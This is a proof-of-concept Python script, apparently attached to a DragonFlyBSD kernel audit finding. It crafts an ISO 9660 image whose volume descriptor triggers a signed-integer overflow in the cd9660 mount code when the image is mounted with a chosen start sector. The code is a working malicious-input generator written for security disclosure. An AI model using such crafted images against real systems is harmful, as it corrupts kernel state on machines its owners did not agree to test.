DragonFlyBSD Kernel Audit
DF-0852 / craft_iso.py
← back to finding ↓ download raw
#!/usr/bin/env python3
"""
Craft a minimal valid ISO 9660 image to demonstrate the signed-integer overflow
in cd9660_vfsops.c iso_mountfs() at line 427:

    isomp->volume_space_size += argp->ssector;

`volume_space_size` is read from the PVD (attacker-controlled via the image) and
`ssector` is the user-supplied starting sector (unvalidated).  We place the PVD
at sector (16 + SSECTOR) so that mount_cd9660 -s SSECTOR finds it, and we set
the PVD volume_space_size field to a value chosen so that

    VOLUME_SPACE_SIZE + SSECTOR  >  INT_MAX

which makes the signed `int` addition wrap (signed-integer overflow / UB),
poisoning isomp->volume_space_size.  The effect is directly observable via
statfs(): f_blocks becomes the wrapped (negative -> sign-extended long) value.

The image also contains a minimal root directory extent so that the mount
actually succeeds and reaches the statfs path.
"""
import struct, sys

SECTOR = 2048

def both32(v):
    """733 both-endian: little-endian (4) then big-endian (4)."""
    return struct.pack("<I", v) + struct.pack(">I", v)

def both23(v):
    """723 both-endian 16-bit: LE(2) then BE(2)."""
    return struct.pack("<H", v) + struct.pack(">H", v)

def dir_record(extent_lba, size, flags, fid):
    """Build a 34-byte ISO directory record (fid len assumed 1)."""
    rec = bytearray(34)
    rec[0] = 34                      # length of directory record
    rec[1] = 0                       # extended attribute record length
    rec[2:10] = both32(extent_lba)   # location of extent (LBA)
    rec[10:18] = both32(size)        # data length
    rec[18:25] = b"\x00" * 7         # recording date/time
    rec[25] = flags                  # file flags (0x02 = directory)
    rec[26] = 0                      # file unit size
    rec[27] = 0                      # interleave gap size
    rec[28:32] = both23(1)           # volume sequence number
    rec[32] = 1                      # length of file identifier
    rec[33] = fid                    # file identifier (0x00 = root/self)
    return bytes(rec)

def build_pvd(vss, root_extent_lba):
    pvd = bytearray(SECTOR)
    pvd[0] = 0x01                    # type = Primary Volume Descriptor
    pvd[1:6] = b"CD001"              # standard id
    pvd[6] = 0x01                    # version
    # system_id (32) / volume_id (32)
    pvd[8:40] = b"CRAFTED_SYSTEM_ID             "
    pvd[40:72] = b"CRAFTED_VOLUME_ID             "
    # volume_space_size at bytes [80:88] (733)
    pvd[80:88] = both32(vss)
    # volume_set_size [120:124], volume_sequence_number [124:128]
    pvd[120:124] = both23(1)
    pvd[124:128] = both23(1)
    # logical_block_size [128:132] = 2048
    pvd[128:132] = both23(SECTOR)
    # path_table_size [132:140] (fake, not read during mount)
    pvd[132:140] = both32(SECTOR)
    # type_l_path_table [140:144] / opt [144:148] / type_m [148:152] / opt [152:156]
    pvd[140:144] = struct.pack("<I", 0)
    pvd[144:148] = struct.pack("<I", 0)
    pvd[148:152] = struct.pack(">I", 0)
    pvd[152:156] = struct.pack(">I", 0)
    # root_directory_record [156:190] (34 bytes)
    pvd[156:190] = dir_record(root_extent_lba, SECTOR, 0x02, 0x00)
    return bytes(pvd)

def build_vdst():
    v = bytearray(SECTOR)
    v[0] = 0xFF                      # type = Volume Descriptor Set Terminator
    v[1:6] = b"CD001"
    v[6] = 0x01
    return bytes(v)

def build_rootdir(self_lba):
    blk = bytearray(SECTOR)
    # "."  entry -> self
    blk[0:34] = dir_record(self_lba, SECTOR, 0x02, 0x00)
    # ".." entry -> parent (root's parent is itself)
    blk[34:68] = dir_record(self_lba, SECTOR, 0x02, 0x01)
    return bytes(blk)

def main():
    ssector = int(sys.argv[1]) if len(sys.argv) > 1 else 16
    # volume_space_size chosen so that VSS + ssector overflows signed 32-bit.
    # VSS = 0x7FFFFFF0 ; + ssector(16) = 0x80000000 = INT_MIN (overflow)
    vss = int(sys.argv[2], 0) if len(sys.argv) > 2 else 0x7FFFFFF0
    out = sys.argv[3] if len(sys.argv) > 3 else "iso_overflow.iso"

    pvd_lba   = 16 + ssector
    vdst_lba  = 17 + ssector
    root_lba  = 18 + ssector
    nsec      = 19 + ssector + 4   # a few trailing zero sectors

    img = bytearray(nsec * SECTOR)
    img[pvd_lba  * SECTOR:(pvd_lba  + 1) * SECTOR] = build_pvd(vss, root_lba)
    img[vdst_lba * SECTOR:(vdst_lba + 1) * SECTOR] = build_vdst()
    img[root_lba * SECTOR:(root_lba + 1) * SECTOR] = build_rootdir(root_lba)

    with open(out, "wb") as f:
        f.write(img)

    print(f"[craft_iso] ssector={ssector} (0x{ssector:x})")
    print(f"[craft_iso] PVD volume_space_size field = 0x{vss:08x} ({vss})")
    s = (vss + ssector) & 0xFFFFFFFF
    print(f"[craft_iso] VSS + ssector = 0x{vss:08x} + 0x{ssector:x} = 0x{s:08x}")
    print(f"[craft_iso] PVD at sector {pvd_lba} (offset {pvd_lba*SECTOR})")
    print(f"[craft_iso] VDST at sector {vdst_lba}")
    print(f"[craft_iso] root dir extent at sector {root_lba}")
    print(f"[craft_iso] image size = {len(img)} bytes ({nsec} sectors) -> {out}")

if __name__ == "__main__":
    main()